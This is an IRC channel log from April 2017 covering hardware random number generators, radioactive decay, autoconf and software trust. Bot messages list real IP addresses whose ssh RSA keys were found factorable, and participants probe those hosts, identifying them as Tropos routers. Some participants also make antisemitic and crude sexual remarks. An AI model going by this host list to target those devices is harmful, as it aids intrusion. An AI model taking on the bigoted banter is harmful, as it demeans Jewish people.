42 leningrad than buenos aires ever saw. 1636914;1491272717;mircea_popescu;and this is BEFORE doing per capita regularization. 1636915;1491276177;asciilifeform;in other lulz, 'XHCI (usb 3.0) in linux kernel is limited to 32 devices. It looks like a bug.' 1636916;1491276205;asciilifeform;(apparently no moar than 13 FUCKGOATS can be plugged into 1 usb host. because Reasons.) 1636917;1491276693;mircea_popescu;dunno why you'd want more than a coupla anyway. it's redundant to all fuck. 1636918;1491276757;asciilifeform;for the test beds, noshit 1636919;1491276791;mircea_popescu;> 13 ? 1636920;1491276804;mircea_popescu;oh, oh, for YOUR test beds. i see. lol 1636921;1491276812;asciilifeform;or, elsewhere, for, say , otp gen. 1636922;1491276823;asciilifeform;for which 100, say, is still modest number. 1636923;1491276854;mircea_popescu;eh, i don't expect worldwide usage of otp ticker exceeds 1mbps. 1636924;1491276864;asciilifeform;and the reason for this is this. 1636925;1491276872;mircea_popescu;now that's a point. 1636926;1491276915;phf;look at you connecting things like some kind of terrorist 1636927;1491276950;mircea_popescu;it wasn't hot enough to melt concrete phf. 1636928;1491277086;asciilifeform;i've given some serious thought to 'what would be highest bit rate honest rng possible with current tech' 1636929;1491277106;asciilifeform;it would probably be something like an sram but doped with a very small bit of beta emitter isotope 1636930;1491277130;asciilifeform;put the von neumann debiaser in each 'pixel', also. 1636931;1491277256;asciilifeform;dram, rather. 1636932;1491277767;mircea_popescu;i dunno it'd be a small bit of emitter. 1636933;1491277790;mircea_popescu;sram in cherenkov, while the cells last. 1636934;1491277910;asciilifeform;that's the tricky bit. also cherenkov has 0 to do with mechanism here, straight charge transfer. 1636935;1491277925;mircea_popescu;its presence means there's fast moving electrons. 1636936;1491277953;asciilifeform;they go ~0 distance ~into~ the solid. 1636937;1491277958;asciilifeform;if constructed properly. 1636938;1491277978;mircea_popescu;nah, fast ion - matter interaction is iffy. they can go a mile. 1636939;1491278002;asciilifeform;beta will go a mile like mircea_popescu will sit down in his chair and go through the floor and into china sea. 1636940;1491278010;asciilifeform;i.e. theoretically -- yes. 1636941;1491278019;asciilifeform;practically -- not. 1636942;1491278032;mircea_popescu;it's calculable! 1636943;1491278042;asciilifeform;aha, so is the chair fall.. 1636944;1491278048;mircea_popescu;iirc it was 1-2 meters for .5 c electrons. 1636945;1491278057;asciilifeform;of air. 1636946;1491278063;asciilifeform;and cm. 1636947;1491278077;mircea_popescu;phase velocity of light in water is like .75, so if the water glows blue there's electrons there going > .75, meaning they'll go a few meters. 1636948;1491278085;asciilifeform;( if it were 'm' : tesla's 'death ray' -- would work. ) 1636949;1491278111;asciilifeform;but yes, the taper off to zero is at a few m. 1636950;1491278138;asciilifeform;upstack mircea_popescu had the right notion, though, it is difficult to build a decay rng that does not rot. 1636951;1491278163;asciilifeform;it is one of the two reasons we aren't selling one (the other being, that it is difficult to get even mild isotope, through post office) 1636952;1491278194;mircea_popescu;i imagine some of the best electronics for rng would be satellites. measure it straight in the solar panels! 1636953;1491278199;asciilifeform;now the other, moar exotic, approach, is that you can try to extract mass entropy from background gamma 1636954;1491278206;asciilifeform;(whereever you are -- there is background gamma) 1636955;1491278213;asciilifeform;*max entropy from 1636956;1491278226;asciilifeform;this means GHz counters, in the most obvious embodiment 1636957;1491278276;asciilifeform;mircea_popescu: solar panel is not a 'fast' device. 1636958;1491278284;asciilifeform;no good for particle event. 1636959;1491278340;asciilifeform;there is, however, a correct part for this : 'PIN diode.' i have an experimental setup with one. at some point we might offer a fg rng module based on it. but not yet. 1636960;1491278433;asciilifeform;( now, good q is 'why do this?' and answer is -- 'you get analogue rng that is VERIFIABLE, just like the digital board in fg.' because you can pick up decay from below/above the board !!) 1636961;1491278455;asciilifeform;1 photon sets off 2 detectors ~equally well as 1. 1636962;1491278458;asciilifeform;if close by. 1636963;1491278591;asciilifeform;if you wanted to be even more clever, could use strictly beta detector, and rely on the fact that the things go in two opposite geometric directions every time. 1636964;1491278630;asciilifeform;at asciilifeform's first (dis)honest job, there was a scintillator counting machine based on this principle. 1636965;1491278654;asciilifeform;(big heavy thing, with msdos box attached, no less.) 1636966;1491278752;asciilifeform;http://btcbase.org/log/2017-04-04#1636903 << old sovj0ke: 'flyer hangs on barrack door in buchenvald: 'tonight: DISCOTHEQUE! machine gunner Hans will play his two new disks !' 1636967;1491278752;a111;Logged on 2017-04-04 02:19 mircea_popescu: leaving aside that if you got to meet beria it was all fun and games from there on, the "discotheque" was a thing even for plebs. 1636968;1491281392;mircea_popescu;heh 1636969;1491283474;deedbot;http://phuctor.nosuchlabs.com/gpgkey/E2204446DCBD265FE12EFCBA2E347BD3E6479D9A22D9DC5587F44F5627E1124E << Recent Phuctorings. - Phuctored: 1452...9489 divides RSA Moduli belonging to '77.108.80.67 (ssh-rsa key from 77.108.80.67 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown RU) 1636970;1491283474;deedbot;http://phuctor.nosuchlabs.com/gpgkey/E2204446DCBD265FE12EFCBA2E347BD3E6479D9A22D9DC5587F44F5627E1124E << Recent Phuctorings. - Phuctored: 1683...5917 divides RSA Moduli belonging to '77.108.80.67 (ssh-rsa key from 77.108.80.67 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown RU) 1636971;1491283952;ben_vulpes;$? ssh 77.108.80.67 77.108.80.67 1636972;1491283957;ben_vulpes;!? ssh 77.108.80.67 77.108.80.67 1636973;1491283978;ben_vulpes;!$ ssh 77.108.80.67 77.108.80.67 1636974;1491283978;scriba;ssh banner of 77.108.80.67 as seen on 2016-06-13: SSH-2.0-OpenSSH_4.3p2 Debian-9 1636975;1491283979;scriba;ssh banner of 77.108.80.67 as seen on 2016-06-13: SSH-2.0-OpenSSH_4.3p2 Debian-9 1636976;1491308677;mircea_popescu;hi jhvh1 1636977;1491308761;shinohai;jhvh1 is busy terrorizing jews, but said to send you these retro titties: https://pbs.twimg.com/media/C8kTtv2XcAEqFuR.jpg 1636978;1491308761;jhvh1;shinohai: Error: "is" is not a valid command. 1636979;1491308921;mircea_popescu;phf the main objection to your quiet style is that now i can't discern whether you a) understood the arguments and are thinking about it ; b) simply didn't understand the arguments or c) understood what was said but didn't judge it any kind of argument. express yourself, don't repress yourself! 1636980;1491309015;mircea_popescu;shinohai nice bitties! 1636981;1491311671;shinohai;https://pbs.twimg.com/media/C8jykoQVoAAiH-Z.jpg <<< Someone needs to scrub their grout. 1636982;1491311866;mircea_popescu;is this another columbian chick ? 1636983;1491311900;mircea_popescu;ah nm ukr. i thouight those tiles looked familiar. 1636984;1491311933;mircea_popescu;somebody needs to be blonder, wtf hairy-armed jewishness is this. 1636985;1491312157;deedbot;http://trilema.com/2017/englezu-e-cel-mai-prost-dintre-oi/ << Trilema - Englezu' e cel mai prost dintre oi 1636986;1491312202;shinohai;!~translate en to uk wtf hairy-armed jewishness is this? 1636987;1491312203;jhvh1;shinohai: WTF волохатого збройне єврейство це? 1636988;1491312220;shinohai;Will dispatch posthaste 1636989;1491312228;mircea_popescu;lel 1636990;1491312291;mircea_popescu;actually it gets it rather close, yevreystvo 1636991;1491312375;shinohai;I actually had a Russian camgirl that asked if I was Jew before she paid for services, she said she didn't like jews and wouldn't pay them xD 1636992;1491312591;mircea_popescu;o.O 1636993;1491312600;mircea_popescu;but that's like antisemitism! 1636994;1491312792;*;shinohai performs service, takes her money, signs off with a hearty "Mazel Tov, cyka!" 1636995;1491312856;mircea_popescu;"To znay: za chest' dolzhna schitat' znakomstvo yunkerskogo khuya!" 1636996;1491318015;trinque;asciilifeform: it occurs to me that v-ports-tree oughtn't *need* USE flags or package.mask ; those are bad solutions to "have a better WoT" 1636997;1491318078;asciilifeform;trinque: expand plox 1636998;1491318083;trinque;I don't expect that there would for example be a diversity of republican emacs builds 1636999;1491318121;trinque;and if some idiot provides a vpatch that enables dbus, you simply do not use his key in .wot 1637000;1491318127;asciilifeform;actually trinque i know of at least 2 1637001;1491318133;asciilifeform;x11 and traditional 1637002;1491318154;asciilifeform;not everything is a matter of 'ugh, dbus' 1637003;1491318174;asciilifeform;some folx actually have variant use scenarios, and variant hardware. 1637004;1491318292;trinque;hm, possibly. though it's also possible I trust two separate paths down the v-tree for that 1637005;1491318305;trinque;we discussed this for trb openbsd patches 1637006;1491318308;trinque;in castle mod6 1637007;1491318390;mod6;ah, ya 1637008;1491318453;trinque;subject there was ifdef throughout the code vs having multiple branches descending from the point multi-arch began 1637009;1491318476;trinque;often yes having the same patches ground onto each path 1637010;1491318485;trinque;but then the decision tree is there in V instead of buried in the code 1637011;1491318568;trinque;also costless abandonment of branches ; nothing to back out in the vpatched material 1637012;1491320460;asciilifeform;trinque: my last attempt at 'vtronic portage' ran into the brick wall of 'there are nongenesisable items in the tarballss' 1637013;1491320494;asciilifeform;(yes, motherfucking binaryturdolade in 'open sores' tars. e.g., graphics.) 1637014;1491320557;trinque;aha, that problem remains. 1637015;1491320610;asciilifeform;if only it, though. 1637016;1491320631;asciilifeform;the far bigger boojum is that ~95% of the tarballs include megabytes of autoconf liquishit. 1637017;1491320660;asciilifeform;vpatches are to be ~readable~. 1637018;1491320682;asciilifeform;a MB of autogenerated (by whom ? when ? where ? how ? no one knows for certain) liquishit -- is not readable. 1637019;1491320747;trinque;I dunno the existing C world can ever be expected to be fixed in the manner you imply. 1637020;1491320752;trinque;just caught, like trb, here's how it was 1637021;1491320757;trinque;found blob items and all 1637022;1491320761;asciilifeform;hey i deautoconfed gpg's mpi lib 100% 1637023;1491320764;asciilifeform;worx great, even on crapple 1637024;1491320800;asciilifeform;( lives here, http://www.loper-os.org/?p=1533 ) 1637025;1491320803;trinque;sure, subset of "world" can be fixed 1637026;1491320807;trinque;and very cool 1637027;1491320820;asciilifeform;it isn't clear to me that autoconf was EVER necessary 1637028;1491320824;asciilifeform;it's a 'tv raft' 1637029;1491320838;asciilifeform;a fix for a 'problem' that simply does not exist on a halfway-wellmaintained system. 1637030;1491320906;asciilifeform;http://btcbase.org/log/2016-08-22#1526720 << thread. 1637031;1491320906;a111;Logged on 2016-08-22 14:07 asciilifeform: http://btcbase.org/log/2016-08-22#1526632 << this is entirely correct. the 'problem' which autoconf pretends (yes, pretends) to 'solve', is EVIL 1637032;1491320954;trinque;http://btcbase.org/log/2016-08-22#1526636 1637033;1491320954;a111;Logged on 2016-08-22 03:23 phf: well, since asciilifeform's not here "let them eat nagant! wake me up when less stupid people!" 1637034;1491321065;asciilifeform;to expand: say your proggy uses, i dunno, pthreads. wants to know where to find the header. WHY does this turn into a MB of scriptolade liquishit ? rather than a 1liner, that tries to find it and if not finds, prompts the user ? 1637035;1491321184;asciilifeform;it is not a mystery that such a thing originated from people with NO concept of hygiene. 1637036;1491321200;trinque;because trying to enable luser that wouldn't be able to say. it's a sort of accessability for the disabled. 1637037;1491321203;asciilifeform;the living mushroom, with his beard having crumbs from 1985 in it somewhere still. and his circle. 1637038;1491321237;trinque;if we're all equal, that guy can get laid too. 1637039;1491321258;Framedragger;http://btcbase.org/log/2017-04-04#1637034 << i was planning to use pthreads for a prototype thingie for tmsr :( "EVERYTHING IS BAD" 1637040;1491321258;a111;Logged on 2017-04-04 15:51 asciilifeform: to expand: say your proggy uses, i dunno, pthreads. wants to know where to find the header. WHY does this turn into a MB of scriptolade liquishit ? rather than a 1liner, that tries to find it and if not finds, prompts the user ? 1637041;1491321262;asciilifeform;trinque: except that it doesn't enable anybody -- if autoconf fails to find the headers, you are just as fucked as ever, gotta sit and puzzle out what environment flags to give it so that it has a sporting chance 1637042;1491321287;asciilifeform;Framedragger: if you're building for a unixlike, you're stuck with pthreads 1637043;1491321308;Framedragger;yeah that was my conclusion. so, guess will do. mk. 1637044;1491321316;asciilifeform;Framedragger: it was picked as example ! 1637045;1491321321;trinque;also srsly don't reason with "is bad" 1637046;1491321323;asciilifeform;of 'MUST find header' 1637047;1491321323;Framedragger;suresure! 1637048;1491321347;Framedragger;trinque: not my reason, was satire (bad satire) 1637049;1491321357;trinque;suresure! 1637050;1491321365;trinque;asciilifeform: tried to make accessible is fine by this standard 1637051;1491321376;asciilifeform;i dun see any actual evidence of this 'tried' 1637052;1491321389;trinque;there's caked shit there in the spot; what did you want? 1637053;1491321390;asciilifeform;it is 100% pure beard crumb, no actual rationale involved 1637054;1491321539;asciilifeform;http://btcbase.org/log/2016-08-22#1526700 << moar old thread, to avoid reprinting... 1637055;1491321539;a111;Logged on 2016-08-22 13:59 asciilifeform: http://btcbase.org/log/2016-08-22#1526615 << my complaint is that it adds a meg of UNREADABLE and - largely UNTESTABLE (i do not have a VMS box, nor a machine with zsh or ksh, nor do i intend to , and i REFUSE to sign code that claims to run there , srsly wtf omfg) - and that it introduces massive turd, useless language m4, go and learn it, read the implementation 1637056;1491321542;trinque;nah thing appears entirely political, in that it [appeared to have] enabled this maximal user freedom thing 1637057;1491321562;trinque;use whatever libs, whatever userland, and everything will magically work because democracy is a thing. 1637058;1491321578;asciilifeform;dunno that 'it happened because tricked people with promise of Phreeedom'. it happened as a slime mold happens, as mushroom grows -- because it could, and because no pushback. 1637059;1491321587;trinque;"hurd" was supposed to be the culmination of this 1637060;1491321604;trinque;was *entirely* intentional in the way wave of human meat strategy is intentional 1637061;1491321645;trinque;(and honestly, hurd? apt.) 1637062;1491321702;trinque;doesn't discount the beardcrust factor either. "If we maximally shuffle the circumstances around us, surely *someone* will fuck us. Anything can happen." 1637063;1491321756;asciilifeform;trinque: do you recall the linux kernel modules thread ? 1637064;1491321785;asciilifeform;it was an instance of exactly same thing. ANY attempt to paper over 'i have nfi what the user has, let's support 10,000,001 possible braindamages' ends up looking like autoconf. 1637065;1491321806;trinque;sure it does, but someone had to think the user getting to do what he wants was a good thing first 1637066;1491321809;asciilifeform;'yeah, what if he has an ISA nic from 1993! gotta support' 1637067;1491321850;asciilifeform;trinque: in context, it was either this, or linux dun exist and it's-1995-if-you-want-a-unix-box-buy-a-sun 1637068;1491321855;asciilifeform;pc hardware is liquishit. 1637069;1491321861;shinohai;https://zrcoin.io/ <<< get 5.5% monthly returns from thin air! 1637070;1491321871;trinque;asciilifeform: sometimes wave of meat is what ya got. 1637071;1491322043;trinque;RMS, wrathful old testament god, confuses the language of the people to prevent another tower of Microshit from being built. 1637072;1491322076;asciilifeform;'gotta support 10,001 incompatible but otherwise equivalent shits' is a serious hell. it plagued armies in ww1 ('hey a trainload of ammo just came. but none of it fits our 7 types of rifle, it's all for that 8th'), the sov icbm forces ('we have parts but not for these 4 types of rocket, they are for 5th') etc 1637073;1491322462;BingoBoingo;See also just about any small engine powered equipment part other than fuel line 1637074;1491323822;asciilifeform;!~later tell mircea_popescu any idea whatever happened to 'induced beta decay' ? ( e.g., http://www.wmsym.org/archives/1984/V1/89.pdf ) -- the thing with the 'convert forbidden states to permitted with magnetic field' 1637075;1491323822;jhvh1;asciilifeform: The operation succeeded. 1637076;1491324023;asciilifeform;( for extra lulz: C-14's decay -- is a beta decay.) 1637077;1491325047;deedbot;http://phuctor.nosuchlabs.com/gpgkey/06A440A299DFAC49B901A7AC5546ADD656BFEBF0914010F1F0983B5481A4BA94 << Recent Phuctorings. - Phuctored: 1334...8633 divides RSA Moduli belonging to '74.45.0.64 (ssh-rsa key from 74.45.0.64 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1637078;1491325047;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1882442C346E34C73069FB7ED55D952BCF5B7B1E2FF7FAB9C4337FD173C75180 << Recent Phuctorings. - Phuctored: 1334...8633 divides RSA Moduli belonging to '74.45.0.65 (ssh-rsa key from 74.45.0.65 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1637079;1491325047;deedbot;http://phuctor.nosuchlabs.com/gpgkey/06A440A299DFAC49B901A7AC5546ADD656BFEBF0914010F1F0983B5481A4BA94 << Recent Phuctorings. - Phuctored: 1103...8343 divides RSA Moduli belonging to '74.45.0.64 (ssh-rsa key from 74.45.0.64 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1637080;1491325047;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1882442C346E34C73069FB7ED55D952BCF5B7B1E2FF7FAB9C4337FD173C75180 << Recent Phuctorings. - Phuctored: 1103...8343 divides RSA Moduli belonging to '74.45.0.65 (ssh-rsa key from 74.45.0.65 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1637081;1491325135;asciilifeform;oh hey hey 1637082;1491325137;asciilifeform;both tropos 1637083;1491325145;asciilifeform;!#s tropos 1637084;1491325146;a111;26 results for "tropos", http://btcbase.org/log-search?q=tropos 1637085;1491325175;asciilifeform;!$ ssh 74.45.0.65 1637086;1491325175;scriba;ssh banner of 74.45.0.65 as seen on 2016-06-13: SSH-2.0-OpenSSH_4.1 1637087;1491325178;asciilifeform;!$ ssh 74.45.0.64 1637088;1491325178;scriba;ssh banner of 74.45.0.64 as seen on 2016-06-13: SSH-2.0-OpenSSH_4.1 1637089;1491325212;asciilifeform;openssl s_client -showcerts -connect 74.45.0.65:443 >>>> O=Tropos Networks/OU=Manufacturing/CN=Tropos Router/emailAddress=support@tropos.com 1637090;1491325214;asciilifeform;etc 1637091;1491325599;deedbot;http://phuctor.nosuchlabs.com/gpgkey/357944F7083AA4DBA3BB8A7147F19D7F0C299F546964111FC9D2BEB093DDC815 << Recent Phuctorings. - Phuctored: 1334...8633 divides RSA Moduli belonging to '74.45.231.115 (ssh-rsa key from 74.45.231.115 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1637092;1491325599;deedbot;http://phuctor.nosuchlabs.com/gpgkey/06A440A299DFAC49B901A7AC5546ADD656BFEBF0914010F1F0983B5481A4BA94 << Recent Phuctorings. - Phuctored: 1334...8633 divides RSA Moduli belonging to '74.45.0.64 (ssh-rsa key from 74.45.0.64 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1637093;1491325599;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1882442C346E34C73069FB7ED55D952BCF5B7B1E2FF7FAB9C4337FD173C75180 << Recent Phuctorings. - Phuctored: 1334...8633 divides RSA Moduli belonging to '74.45.0.65 (ssh-rsa key from 74.45.0.65 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1637094;1491325599;deedbot;http://phuctor.nosuchlabs.com/gpgkey/357944F7083AA4DBA3BB8A7147F19D7F0C299F546964111FC9D2BEB093DDC815 << Recent Phuctorings. - Phuctored: 1203...1937 divides RSA Moduli belonging to '74.45.231.115 (ssh-rsa key from 74.45.231.115 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1637095;1491325625;asciilifeform;!$ ssh 74.45.231.115 1637096;1491325625;scriba;ssh banner of 74.45.231.115 as seen on 2016-06-13: SSH-2.0-OpenSSH_5.2 1637097;1491325659;asciilifeform;( turns out -- another tropos ) 1637098;1491325842;asciilifeform;( supposedly confessed and patched in 2012... https://tools.cisco.com/security/center/viewAlert.x?alertId=27612 . supposedly. ) 1637099;1491326095;phf;http://btcbase.org/log/2017-04-04#1636979 << i think the argument presupposes conditions that anticipate the problem, so in a sense it supports what i said originally, while also appearing in opposition 1637100;1491326095;a111;Logged on 2017-04-04 12:28 mircea_popescu: phf the main objection to your quiet style is that now i can't discern whether you a) understood the arguments and are thinking about it ; b) simply didn't understand the arguments or c) understood what was said but didn't judge it any kind of argument. express yourself, don't repress yourself! 1637101;1491326171;mircea_popescu;hm. 1637102;1491326270;mircea_popescu;asciilifeform not much. magnetic field research is for some reason stuck in 1700 1637103;1491326276;mircea_popescu;has been since tesla's days 1637104;1491326310;asciilifeform;i had nfi that tesla moved it back 200y!1111 1637105;1491326337;mircea_popescu;i dunno he did that lol. 1637106;1491326348;mircea_popescu;he moved it from 1680 to 1700 say :D 1637107;1491326373;asciilifeform;at any rate, mega-surprise, decay via electron capture is susceptible to magnetic field manipulations. 1637108;1491326409;mircea_popescu;aha 1637109;1491326416;asciilifeform;apparently it is at least in principle possible to 'burn', e.g., sr-90, in 3 days instead of 30 yrs. 1637110;1491326430;asciilifeform;( and to use the energy for something. ) 1637111;1491326443;mircea_popescu;i vaguely remember some guy trying to do something along those lines re nuclear waste recycling 1637112;1491326448;asciilifeform;several. 1637113;1491326451;mircea_popescu;couldn't get a grant. 1637114;1491326464;asciilifeform;aha, works great in demo. but 'nobody wanted'. 1637115;1491326465;mircea_popescu;well no i mean that i actually knew 1637116;1491326499;asciilifeform;it is also, by inference, possible to monkey with archaeological 'dating' via same method. 1637117;1491326534;mircea_popescu;quite. 1637118;1491326562;mircea_popescu;i don't think anyone takes carbon dating seriously. outside of the you know, "ring" so to speak. it's a trade secret of the substance and nature of wrestling storylines. 1637119;1491326580;mircea_popescu;"oh, and you're really pissed at that guy ?" "yeah man totally. i hate that guy." 1637120;1491326604;mircea_popescu;"scientific fiction", to mirror legal fiction. 1637121;1491326622;asciilifeform;anybody ever stick a tritium glow tube (ubiquitous konsoomer toy) in, e.g., permanent nmr magnet ? 1637122;1491326651;asciilifeform;( y'know, these, http://btcbase.org/log/2017-01-25#1606491 ) 1637123;1491326651;a111;Logged on 2017-01-25 14:20 asciilifeform: http://btcbase.org/log/2017-01-25#1606472 << fwiw you can get ~5T from a halbach array (unrefrigerated permanent magnet) 1637124;1491326652;mircea_popescu;can't say as i have. by the age i was hanging out with the rave sluts i was no longer playing with magnets. 1637125;1491326708;asciilifeform;it'd be pretty simple experiment. take tritium lamp (buy wherever pistols are sold, moneyed folx often use tritium glow sight) 1637126;1491326717;asciilifeform;get a baseline for the light output 1637127;1491326725;asciilifeform;(with photomultiplier tube) 1637128;1491326735;asciilifeform;then put the 5T magnet on. and again same. 1637129;1491326755;mircea_popescu;yeah but. 1637130;1491326795;asciilifeform;theory suggests that the effect will be palpable. possibly visible, even, with naked eye. 1637131;1491326861;mircea_popescu;http://btcbase.org/log/2017-04-04#1636999 << in theory this is how it should work ; in practice the sloppy git style does not work with the republican sig nuking. it'll just whine that "dependencies". basically, we're trying to get software from where it builds spirogyra strands to where it builds ACTUAL TREES. 1637132;1491326861;a111;Logged on 2017-04-04 15:02 trinque: and if some idiot provides a vpatch that enables dbus, you simply do not use his key in .wot 1637133;1491326893;asciilifeform;if you have a thing-walled gm tube, you don't need a 'tritium lamp', even, can use a box of 'diet salt' (where it has K instead of Na, and ~0.01% of natural K is K-40, beta emitter) 1637134;1491326906;mircea_popescu;see also http://trilema.com/2014/ubuntu-is-a-worse-piece-of-shit-than-ms-dos-ever-was/#selection-145.0-145.299 1637135;1491326954;mircea_popescu;asciilifeform talk about beta ingestion. i bet you the "diet" dorks eat more than shaves off my grinders. 1637136;1491326979;asciilifeform;everybody eats K 1637137;1491326991;mircea_popescu;and ~everything else. 1637138;1491326993;asciilifeform;(gotta keep the ion gradient going, heh) 1637139;1491327110;mircea_popescu;http://btcbase.org/log/2017-04-04#1637022 << yes, to a large degree the usage of the "tools" is more a function of the presence of the tools than of the presence of a need. just like while car is useful item, if you stop $random car occupant will not be able to explain what he's doing. 1637140;1491327110;a111;Logged on 2017-04-04 15:46 asciilifeform: hey i deautoconfed gpg's mpi lib 100% 1637141;1491327282;mircea_popescu;http://btcbase.org/log/2017-04-04#1637039 << he wasn't discussing pthreads per se. 1637142;1491327282;a111;Logged on 2017-04-04 15:54 Framedragger: http://btcbase.org/log/2017-04-04#1637034 << i was planning to use pthreads for a prototype thingie for tmsr :( "EVERYTHING IS BAD" 1637143;1491327405;Framedragger;i understand, i just got scared like a little girl 1637144;1491327444;mircea_popescu;lel. ok, this is marginalyl better satire. 1637145;1491327474;mircea_popescu;http://btcbase.org/log/2017-04-04#1637056 << i do believe you have a point, the explanation isn't exactly idiocy, but rather, the fact that in people with no technical ability, the seepage of their political ideas into their practice was unavoidable. 1637146;1491327474;a111;Logged on 2017-04-04 15:59 trinque: nah thing appears entirely political, in that it [appeared to have] enabled this maximal user freedom thing 1637147;1491327516;mircea_popescu;and by people with no technical ability i mean the likes of ian murdock or rms. the lot of them, really. 1637148;1491327597;mircea_popescu;(no, noticing a nail and going "oh, i remember hammer can hit nails" is NOT technical ability. a ditzy blonde / bright dog can do the fucking same. technical ability is when you can say ~use x, because no other tool is more adequate here~. that's technical fucking ability.) 1637149;1491327692;mircea_popescu;so in idiots this decays to "what should i do here ?" "uh i dunno, but X is more friendly to our shared delusions of equality, humanism and our democracy!" 1637150;1491327741;Framedragger;didn't rms implement emacs by ~himself? or that doesn't count? 1637151;1491327768;mircea_popescu;are you aware of the substance of that claim ? 1637152;1491327780;mircea_popescu;ie, didja read the history, confront variants from multiple people ? 1637153;1491327782;Framedragger;^ (i mean the gnu port) 1637154;1491327786;mircea_popescu;ahem. 1637155;1491327802;Framedragger;a port totally counts. however, as to your general point, no. 1637156;1491327816;mircea_popescu;might be a fun weekend project, "establish rms emacs involvement", if you're bored one weekend. 1637157;1491327817;Framedragger;(would be interested to hear someone deny it) 1637158;1491327822;Framedragger;hm, true. 1637159;1491327857;mircea_popescu;make some claims, source the claims, insist the sourcing's balanced, you know, like serious court reporter say. 1637160;1491327861;asciilifeform;Framedragger: http://ergoemacs.org/misc/Daniel_Weinreb_rebuttal_to_rms.html << see also. 1637161;1491327869;Framedragger;ty 1637162;1491327874;mircea_popescu;#trilema, where homework cheating lives. 1637163;1491327910;mircea_popescu;(i am not, for clarity, declaring he didn't anymore than i'm declaring he did. i personally dun gas.) 1637164;1491327982;phf;well, since already spoilt, original emacs was written by a bunch of different people for TECO and long after rms became maintainer of that. then greenberg rewrote it in lisp (multics emacs) 1637165;1491328020;phf;then gosling wrote a version of emacs for a unix machine, that was used by rms as the foundation for his emacs 1637166;1491328106;mircea_popescu;phf my hm hasn't returned yet. what conditions are presupposed that anticipate the problem ? 1637167;1491328177;phf;the need to not treat the binary as a black box and also the need for non-linear compilation 1637168;1491328264;mircea_popescu;why is what i assume you mean by non-linear compilation presupposed ? 1637169;1491328466;phf;i think the word you used was "unary" 1637170;1491328507;mircea_popescu;yes, but this is not in reference to compilation. it's in reference to user space. i don't expect there's a magical function f, but that there's a plurality of f1..fi...fn, which can all be linear in principle. 1637171;1491328576;mircea_popescu;and i suspect this goes to (one of the) roots of the argument : it is not broadly speaking sane for person writing code to expect that he knows what compiler user will use to produce object or machine code. 1637172;1491328578;phf;well, the plurality makes it non-linear, of course each one can be linear 1637173;1491328594;mircea_popescu;ok, but if you meant it in that sense i no longer see how it anticipates the very problem. 1637174;1491328686;mircea_popescu;(to continue link above : the prb idiocy "oh code is spec" is not invented by the idiots for this occasion. it's universally at the basis of contemporaneous cs, and it's all permeating. it stars with the expectation that you can tell whether the code you wrote is correct BY WHETHER THE MACHINE WORKS. this is utter fucking nonsense!111 appealing to tweens, perhaps, but still nonsense.) 1637175;1491328688;phf;the problem broadly speaking is that our solution to trust is "read the source code", in order to trust compiler you read the source code of the compiler. the trust chain terminates at bootstrapping. you can't "just" bootstrap on an untrusted system, you have to enumerate defensive approaches 1637176;1491328719;mircea_popescu;yes, and the objection to this is that you for some reason refuse the cornerstone of management, which is the differential approach. 1637177;1491328737;mircea_popescu;to try and resolve it : do you believe i could be a successful genovese merchant if i couldn't add ? 1637178;1491328767;phf;i didn't understand previous sentence, so i refuse to be led down a path towards a trap :p 1637179;1491328782;phf;what's the differential approach? 1637180;1491328801;mircea_popescu;where i tell two people to do the same thing and compare the results. 1637181;1491328832;mircea_popescu;i can judge whether an egg is rotten or not without being a hen myself. i can tell which kids aren't worth bothering with though i'm no mother "and i don't understand them like she does" etcetera. 1637182;1491328849;phf;i don't ~refuse~ it, i'm saying that differential approach is ~required~ because there's a problem. otherwise there'd be no need for an approach. i don't think it matters that approach is already presant for other purposes 1637183;1491328858;mircea_popescu;ah 1637184;1491328881;mircea_popescu;there's no dispute whatsoever then. except maybe for this much : that problem is a problem in the sense thermic death is a problem. always and everywhere without let or respite. 1637185;1491329085;asciilifeform;i gotta object to the analogy with the egg and rotten kid. this is more like 'which of these children will get which type of cancer, and when.' 1637186;1491329112;mircea_popescu;i dunno it goes that far. 1637187;1491329131;mircea_popescu;but to a large degree i can predict what the ailments of the women naked on the floor will be as time withers them. 1637188;1491329135;asciilifeform;there is VERY little that you can say re a multi-MB binturd without spending several $mil. 1637189;1491329140;asciilifeform;and even ~with~. 1637190;1491330002;mircea_popescu;http://btcbase.org/log/2017-04-04#1637072 << this is true. kinda sad to watch too. plagued ~everyone until serious effort got put behind replaceable parts. which, incidentally, is WHY you have things such as http://btcbase.org/log/2017-04-02#1635839 1637191;1491330002;a111;Logged on 2017-04-04 16:07 asciilifeform: 'gotta support 10,001 incompatible but otherwise equivalent shits' is a serious hell. it plagued armies in ww1 ('hey a trainload of ammo just came. but none of it fits our 7 types of rifle, it's all for that 8th'), the sov icbm forces ('we have parts but not for these 4 types of rocket, they are for 5th') etc 1637192;1491330002;a111;Logged on 2017-04-02 07:36 mircea_popescu: http://btcbase.org/log/2017-04-02#1635803 << sysco whitelabels, basically. 1637193;1491330119;phf;i think i see why we got on this thread. i was saying that bootstrapping is always a counterparty problem. i missed that that's not the case for fits in head (i think ascii might've tried pointing that out to me). 1637194;1491330153;mircea_popescu;i suspect it's mostly because we're thinking in yet not mutually understood 